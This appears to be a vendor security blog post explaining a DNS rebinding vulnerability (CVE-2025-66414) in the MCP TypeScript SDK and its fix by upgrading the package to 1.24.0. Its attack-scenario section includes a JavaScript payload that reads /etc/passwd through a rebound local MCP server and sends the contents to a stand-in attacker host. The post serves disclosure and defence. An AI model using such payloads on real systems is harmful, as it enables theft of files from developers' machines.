Back to Blog
high SEVERITY7 min read

How DNS rebinding happens in Node.js MCP TypeScript SDK and how to fix it

The `@modelcontextprotocol/sdk` package (version 0.5.0) shipped without DNS rebinding protection enabled by default, leaving any Node.js application that hosts an MCP server exposed to cross-origin attacks from malicious websites. Upgrading to version 1.24.0 enables host-header validation and brings a suite of new security dependencies—including `cors`, `express-rate-limit`, and `jose`—that collectively close the attack surface. This fix was identified and patched automatically by Orbis AppSec b

O
By Orbis AppSec
Published July 28, 2026Reviewed July 28, 2026

Answer Summary

CVE-2025-66414 is a DNS rebinding vulnerability (CWE-346: Origin Validation Error) in the Model Context Protocol TypeScript SDK (`@modelcontextprotocol/sdk`). In versions prior to 1.24.0, the SDK's HTTP server did not validate the `Host` header, allowing a malicious website to remap its domain to `127.0.0.1` and issue requests to the locally-running MCP server as if they originated from the same origin. The fix is to upgrade `@modelcontextprotocol/sdk` from `^0.5.0` to `^1.24.0`, which enables DNS rebinding protection by default and adds `cors`, `express-rate-limit`, and `jose` as enforced dependencies.

Vulnerability at a Glance

cweCWE-346 (Origin Validation Error)
fixUpgrade `@modelcontextprotocol/sdk` from `^0.5.0` to `^1.24.0`, which enables DNS rebinding protection by default
riskA malicious website can bypass the Same-Origin Policy and send authenticated requests to a locally-running MCP server
languageTypeScript / Node.js
root cause`@modelcontextprotocol/sdk` 0.5.0 did not validate the HTTP `Host` header, leaving the server open to DNS rebinding attacks
vulnerabilityDNS Rebinding (missing Host header validation)

How DNS Rebinding Happens in Node.js MCP TypeScript SDK and How to Fix It

Introduction

The package-lock.json of this project quietly pinned @modelcontextprotocol/sdk at version 0.5.0—a version that ships an HTTP-based MCP server with no DNS rebinding protection enabled by default. That single missing control means any browser tab open to a malicious website could pivot through the victim's own browser to interact with the locally-running MCP server, bypassing the Same-Origin Policy entirely.

This is CVE-2025-66414, rated HIGH severity, and it was automatically detected and patched by Orbis AppSec before it could be exploited.


The Vulnerability Explained

What Is DNS Rebinding?

DNS rebinding is a classic but persistently dangerous attack class. Here's the sequence:

  1. A user visits evil.attacker.com. The attacker's DNS server responds with the attacker's real IP and a very short TTL (e.g., 1 second).
  2. After the TTL expires, the attacker's DNS server re-resolves evil.attacker.com to 127.0.0.1 (or another local address).
  3. The browser's Same-Origin Policy checks the domain, not the IP. Since the domain hasn't changed, the browser happily allows JavaScript on evil.attacker.com to make fetch() calls to http://evil.attacker.com:<port>.
  4. Those requests now land on whatever is listening on localhost:<port>—in this case, the MCP server.

The attacker's JavaScript can now read responses, issue tool-call requests, and interact with any capability the MCP server exposes—all without the user's knowledge.

The Vulnerable Code Pattern

Before the fix, package-lock.json locked the SDK to version 0.5.0:

// BEFORE — vulnerable
"node_modules/@modelcontextprotocol/sdk": {
  "version": "0.5.0",
  "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-0.5.0.tgz",
  "integrity": "sha512-RXgulUX6ewvxjAG0kOpLMEdXXWkzWgaoCGaA2CwNW7cQCIphjpJhjpHSiaPdVCnisjRF/0Cm9KWHUuIoeiAblQ==",
  "license": "MIT",
  "dependencies": {
    "content-type": "^1.0.5",
    "raw-body": "^3.0.0",
    "zod": "^3.23.8"
  }
}

Notice what's absent from the dependency list: there is no cors, no express-rate-limit, no jose, and no express. The SDK's HTTP transport layer in 0.5.0 accepted connections and processed requests without validating the Host header. Any request that arrived on the listening port was treated as legitimate, regardless of where the browser thought it came from.

The Real-World Attack Scenario

Imagine a developer running an MCP-powered coding assistant locally on port 3000. They open their browser to http://evil.attacker.com while the assistant is running. Here's what happens:

  1. evil.attacker.com loads malicious JavaScript.
  2. The attacker's DNS TTL expires and evil.attacker.com is remapped to 127.0.0.1.
  3. The JavaScript issues:
    javascript fetch("http://evil.attacker.com:3000/mcp", { method: "POST", body: JSON.stringify({ tool: "read_file", path: "/etc/passwd" }) }).then(r => r.text()).then(data => { // Exfiltrate data to attacker's real server fetch("https://collect.attacker.com/steal?d=" + btoa(data)); });
  4. The browser sends this request to 127.0.0.1:3000. The MCP server in version 0.5.0 processes it without question.
  5. The attacker receives the file contents.

For an MCP server with access to file systems, databases, or external APIs, this is a critical data exfiltration path.


The Fix

What Changed

The fix upgrades @modelcontextprotocol/sdk from ^0.5.0 to ^1.24.0:

// AFTER — fixed
"node_modules/@modelcontextprotocol/sdk": {
  "version": "1.24.0",
  "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.24.0.tgz",
  "integrity": "sha512-D8h5KXY2vHFW8zTuxn2vuZGN0HGrQ5No6LkHwlEA9trVgNdPL3TF1dSqKA7Dny6BbBYKSW/rOBDXdC8KJAjUCg==",
  "license": "MIT",
  "dependencies": {
    "ajv": "^8.17.1",
    "ajv-formats": "^3.0.1",
    "content-type": "^1.0.5",
    "cors": "^2.8.5",
    "cross-spawn": "^7.0.5",
    "eventsource": "^3.0.2",
    "eventsource-parser": "^3.0.0",
    "express": "^5.0.1",
    "express-rate-limit": "^7.5.0",
    "jose": "^6.1.1",
    "pkce-challenge": "^5.0.0",
    "raw-body": "^3.0.0",
    "zod": "^3.25 || ^4.0",
    "zod-to-json-schema": "^3.25.0"
  }
}

Why Each New Dependency Matters

The jump from 3 dependencies to 13 isn't bloat—each addition closes a specific attack surface:

New Dependency Security Role
cors Enforces cross-origin request policies at the HTTP layer
express-rate-limit Prevents brute-force and enumeration attacks against the MCP endpoint
jose Handles JWT/JWK-based authentication for OAuth flows
pkce-challenge Implements PKCE for secure OAuth 2.0 authorization code flows
ajv + ajv-formats Validates incoming JSON payloads against strict schemas
express Provides a mature HTTP server with well-tested middleware support

Most critically, version 1.24.0 introduces DNS rebinding protection enabled by default. The SDK now validates the Host header on every incoming request and rejects connections whose host does not match the configured allowed origins. This directly neutralizes the DNS rebinding attack vector described above.

Before vs. After

- "@modelcontextprotocol/sdk": "^0.5.0",
+ "@modelcontextprotocol/sdk": "^1.24.0",

This two-character version bump in package.json translates to:
- Host header validation on by default
- CORS enforcement at the transport layer
- Rate limiting to prevent abuse
- Authenticated MCP sessions via JOSE/PKCE
- Schema validation on all incoming tool-call payloads


Key Takeaways

  • @modelcontextprotocol/sdk 0.5.0 had no Host header validation, making every locally-running MCP server a DNS rebinding target from any browser tab.
  • DNS rebinding bypasses CORS—the browser's Same-Origin Policy checks the domain, not the resolved IP, so CORS headers alone are insufficient protection for local services.
  • The upgrade to 1.24.0 is not just a version bump—it adds 10 new dependencies (cors, express, express-rate-limit, jose, pkce-challenge, ajv, etc.) that collectively harden the MCP transport layer.
  • package-lock.json is a security artifact, not just a build reproducibility file. Pinned vulnerable versions in lockfiles are real vulnerabilities, not theoretical ones.
  • MCP servers often have elevated privileges (file access, API keys, tool execution)—a DNS rebinding attack against an MCP server is not just a curiosity; it can lead to full data exfiltration or remote code execution depending on the tools registered.

How Orbis AppSec Detected This

  • Source: Any browser tab navigating to an attacker-controlled domain while the MCP server is running locally
  • Sink: The HTTP request handler in @modelcontextprotocol/sdk 0.5.0's transport layer, which accepted all incoming connections without Host header validation
  • Missing control: No Host header allowlist, no CORS enforcement at the transport layer, no origin validation of any kind in the SDK's default configuration
  • CWE: CWE-346 — Origin Validation Error
  • Fix: Upgraded @modelcontextprotocol/sdk from ^0.5.0 to ^1.24.0 in package.json and package-lock.json, enabling DNS rebinding protection and adding cors, express-rate-limit, and jose as enforced dependencies

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2025-66414 is a reminder that security defaults matter enormously in network-facing SDKs. The MCP TypeScript SDK's decision to ship version 0.5.0 without DNS rebinding protection enabled by default created a silent, high-severity vulnerability in every application that used it to host an MCP server. The fix—upgrading to 1.24.0—is straightforward, but only if you know the vulnerability exists.

Automated scanning with tools like Trivy, combined with automated remediation via Orbis AppSec, means vulnerabilities like this can be detected and patched before they ever reach a production environment. Keep your lockfiles up to date, validate Host headers on local HTTP services, and never assume that "localhost only" means "safe from the browser."


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5

Related Articles

high

How Denial of Service via Infinite Loop Happens in JavaScript Dependencies and How to Fix It

CVE-2026-67213 is a high-severity denial of service vulnerability in nanoid before version 5.1.6 that triggers an infinite loop during random ID generation when processing specially crafted input. We upgraded nanoid across the entire dependency tree to patch this flaw and prevent attackers from freezing application threads. This fix ensures that ID generation remains resilient even when handling adversarial input patterns.

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.

critical

How Remote Code Execution Happens in Handlebars Template Compilation and How to Fix It

CVE-2026-33937 is a critical remote code execution vulnerability in Handlebars.js that allows attackers to execute arbitrary code by passing maliciously crafted Abstract Syntax Tree (AST) objects to the compile() function. The vulnerability was patched in version 4.7.9, and we've upgraded to protect against this threat vector.